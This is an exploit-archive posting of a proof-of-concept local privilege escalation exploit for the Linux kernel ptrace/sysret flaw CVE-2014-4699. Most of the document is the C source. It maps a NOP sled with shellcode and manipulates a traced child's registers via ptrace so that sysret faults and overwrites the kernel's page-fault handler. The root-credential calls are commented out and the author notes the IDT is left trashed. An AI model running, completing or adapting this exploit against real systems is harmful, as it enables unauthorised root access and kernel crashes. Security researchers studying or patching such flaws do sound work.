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Linux Kernel ptrace/sysret Local Privilege Escalation

Linux Kernel ptrace/sysret Local Privilege Escalation
Posted Jul 22, 2014
Authored by Vitaly Nikolenko

Linux Kernel ptrace/sysret local privilege escalation proof of concept exploit.

tags | exploit, kernel, local, proof of concept
systems | linux
advisories | CVE-2014-4699
MD5 | 94c88567c610853f4926b687106afb46

Linux Kernel ptrace/sysret Local Privilege Escalation

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/**
* CVE-2014-4699 ptrace/sysret PoC
* by Vitaly Nikolenko
* vnik@hashcrack.org
*
* > gcc -O2 poc_v0.c
*
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
* following will trigger the #GP in sysret and overwrite the #PF handler so we
* can land to our NOP sled mapped at 0x80000000.
* However, once landed, the IDT will be trashed. We can either attempt to
* restore it (then escalate privileges and execute our shellcode) or find
* something else to overwrite that would transfer exec flow to our controlled
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
* have any ideas, let me know.
*/

#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>

#define SIZE 0x10000000

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

unsigned long __user_cs;
unsigned long __user_ss;
unsigned long __user_rflags;

void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
// restore the #PF handler
*fixptr = -1;
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
//commit_creds(prepare_kernel_cred((uint64_t)NULL));

//__asm__ volatile ("swapgs\n\t"
// "...");
}

int main() {
struct user_regs_struct regs;
uint8_t *trampoline, *tmp;
int status;

struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;

// MAP_POPULATE so we don't trigger extra #PF
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
assert(trampoline == 0x80000000);
memset(trampoline, 0x90, SIZE);
tmp = trampoline;
tmp += SIZE-1024;
memcpy(tmp, &payload, 1024);
memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

pid_t chld;

if ((chld = fork()) < 0) {
perror("fork");
exit(1);
}

if (chld == 0) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
perror("PTRACE_TRACEME");
exit(1);
}
raise(SIGSTOP);
fork();
return 0;
}

asm volatile("sidt %0" : "=m" (idt));
printf("IDT addr = 0x%lx\n", idt.addr);

waitpid(chld, &status, 0);

ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);

ptrace(PTRACE_CONT, chld, 0, 0);

waitpid(chld, &status, 0);

ptrace(PTRACE_GETREGS, chld, NULL, &regs);
regs.rdi = 0x0000000000000000;
regs.rip = 0x8fffffffffffffff;
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;

// attempt to restore the IDT
regs.rdi = 0x0000000000000000;
regs.rsi = 0x81658e000010cbd0;
regs.rdx = 0x00000000ffffffff;
regs.rcx = 0x81658e000010cba0;
regs.rax = 0x00000000ffffffff;
regs.r8 = 0x81658e010010cb00;
regs.r9 = 0x00000000ffffffff;
regs.r10 = 0x81668e0000106b10;
regs.r11 = 0x00000000ffffffff;
regs.rbx = 0x81668e0000106ac0;
regs.rbp = 0x00000000ffffffff;
regs.r12 = 0x81668e0000106ac0;
regs.r13 = 0x00000000ffffffff;
regs.r14 = 0x81668e0200106a90;
regs.r15 = 0x00000000ffffffff;

ptrace(PTRACE_SETREGS, chld, NULL, &regs);

ptrace(PTRACE_CONT, chld, 0, 0);

ptrace(PTRACE_DETACH, chld, 0, 0);
}

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